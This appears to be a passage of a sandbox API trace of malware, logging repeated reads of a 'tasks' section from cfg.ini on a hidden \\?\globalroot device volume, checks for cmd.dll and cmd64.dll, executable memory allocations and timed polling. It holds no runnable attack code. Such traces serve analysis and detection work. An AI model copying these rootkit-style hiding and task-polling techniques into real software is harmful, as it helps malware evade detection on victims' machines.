IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.911] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.911] KeEnterCriticalRegion () [0125.911] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.911] ExFreePoolWithTag (P=0xfffffa80036ffef0, Tag=0x0) [0125.911] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.911] KeLeaveCriticalRegion () [0125.911] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.911] ReleaseMutex (hMutex=0xf0) returned 1 [0125.912] Sleep (dwMilliseconds=0x927c0) [0125.928] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.928] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.928] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.928] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.928] KeEnterCriticalRegion () [0125.928] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.928] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.928] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.928] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.928] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.928] IdePortDispatch () returned 0x103 [0125.928] KeWaitForMutexObject () returned 0x0 [0125.928] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.928] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.928] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.928] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.928] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.928] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa3190 [0125.928] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.928] KeLeaveCriticalRegion () [0125.928] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.928] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.928] KeEnterCriticalRegion () [0125.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.929] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.929] KeLeaveCriticalRegion () [0125.929] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.929] KeEnterCriticalRegion () [0125.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.929] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.929] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.929] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.929] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.929] IdePortDispatch () returned 0x103 [0125.929] KeWaitForMutexObject () returned 0x0 [0125.929] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.929] KeLeaveCriticalRegion () [0125.929] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.929] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.929] KeEnterCriticalRegion () [0125.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.929] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d21000 [0125.929] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.929] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.929] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.929] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.929] IdePortDispatch () returned 0x103 [0125.929] KeWaitForMutexObject () returned 0x0 [0125.930] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.930] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.930] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.930] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.930] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.930] IdePortDispatch () returned 0x103 [0125.930] KeWaitForMutexObject () returned 0x0 [0125.930] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.930] KeLeaveCriticalRegion () [0125.930] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.931] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.931] KeEnterCriticalRegion () [0125.931] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.931] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.931] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.931] KeLeaveCriticalRegion () [0125.931] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.931] KeEnterCriticalRegion () [0125.931] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.931] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.931] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac7240, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.931] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.931] KeLeaveCriticalRegion () [0125.931] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.931] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.931] KeEnterCriticalRegion () [0125.931] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.931] ExFreePoolWithTag (P=0xfffffa8003aa3190, Tag=0x0) [0125.931] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.931] KeLeaveCriticalRegion () [0125.931] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.931] ReleaseMutex (hMutex=0xf0) returned 1 [0125.931] Sleep (dwMilliseconds=0x927c0) [0125.945] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.945] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.945] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.945] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.945] KeEnterCriticalRegion () [0125.945] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.945] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.945] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.945] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.945] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.945] IdePortDispatch () returned 0x103 [0125.945] KeWaitForMutexObject () returned 0x0 [0125.945] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.945] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.945] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.945] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.945] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.945] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003713810 [0125.945] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.945] KeLeaveCriticalRegion () [0125.945] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.945] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.946] KeEnterCriticalRegion () [0125.946] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.946] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.946] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.946] KeLeaveCriticalRegion () [0125.946] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.946] KeEnterCriticalRegion () [0125.946] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.946] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.946] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.946] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.946] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.946] IdePortDispatch () returned 0x103 [0125.946] KeWaitForMutexObject () returned 0x0 [0125.946] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.946] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.946] KeLeaveCriticalRegion () [0125.946] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.946] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.946] KeEnterCriticalRegion () [0125.946] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.946] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d26000 [0125.946] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.946] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.946] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.946] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.946] IdePortDispatch () returned 0x103 [0125.946] KeWaitForMutexObject () returned 0x0 [0125.947] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.947] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.947] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.947] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.947] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.947] IdePortDispatch () returned 0x103 [0125.947] KeWaitForMutexObject () returned 0x0 [0125.947] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.947] KeLeaveCriticalRegion () [0125.947] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.947] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.947] KeEnterCriticalRegion () [0125.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.947] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.947] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.947] KeLeaveCriticalRegion () [0125.947] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.947] KeEnterCriticalRegion () [0125.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.947] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.948] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.948] KeLeaveCriticalRegion () [0125.948] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.948] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.948] KeEnterCriticalRegion () [0125.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.948] ExFreePoolWithTag (P=0xfffffa8003713810, Tag=0x0) [0125.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.948] KeLeaveCriticalRegion () [0125.948] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.948] ReleaseMutex (hMutex=0xf0) returned 1 [0125.948] Sleep (dwMilliseconds=0x927c0) [0125.950] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.950] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.956] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.956] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.956] KeEnterCriticalRegion () [0125.956] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.956] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.956] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.956] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.956] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.956] IdePortDispatch () returned 0x103 [0125.957] KeWaitForMutexObject () returned 0x0 [0125.957] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.957] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.957] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.957] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.957] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.957] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003abf170 [0125.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.957] KeLeaveCriticalRegion () [0125.957] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.957] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.957] KeEnterCriticalRegion () [0125.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.957] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.957] KeLeaveCriticalRegion () [0125.957] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.957] KeEnterCriticalRegion () [0125.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.957] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.957] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.957] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.957] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.957] IdePortDispatch () returned 0x103 [0125.957] KeWaitForMutexObject () returned 0x0 [0125.957] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.957] KeLeaveCriticalRegion () [0125.957] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.958] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.958] KeEnterCriticalRegion () [0125.958] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.958] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d79000 [0125.958] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.958] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.958] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.958] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.958] IdePortDispatch () returned 0x103 [0125.958] KeWaitForMutexObject () returned 0x0 [0125.958] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.958] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.958] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.958] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.958] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.958] IdePortDispatch () returned 0x103 [0125.958] KeWaitForMutexObject () returned 0x0 [0125.958] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.958] KeLeaveCriticalRegion () [0125.958] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.959] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.959] KeEnterCriticalRegion () [0125.959] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.959] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.959] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.959] KeLeaveCriticalRegion () [0125.959] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.959] KeEnterCriticalRegion () [0125.959] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.959] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.959] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.959] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.959] KeLeaveCriticalRegion () [0125.959] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.959] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.959] KeEnterCriticalRegion () [0125.959] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.959] ExFreePoolWithTag (P=0xfffffa8003abf170, Tag=0x0) [0125.959] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.959] KeLeaveCriticalRegion () [0125.959] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.959] ReleaseMutex (hMutex=0xf0) returned 1 [0125.959] Sleep (dwMilliseconds=0x927c0) [0125.970] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.970] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.970] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.970] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.970] KeEnterCriticalRegion () [0125.970] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.970] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.970] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.970] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.970] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.970] IdePortDispatch () returned 0x103 [0125.971] KeWaitForMutexObject () returned 0x0 [0125.971] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.971] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.971] _strnicmp 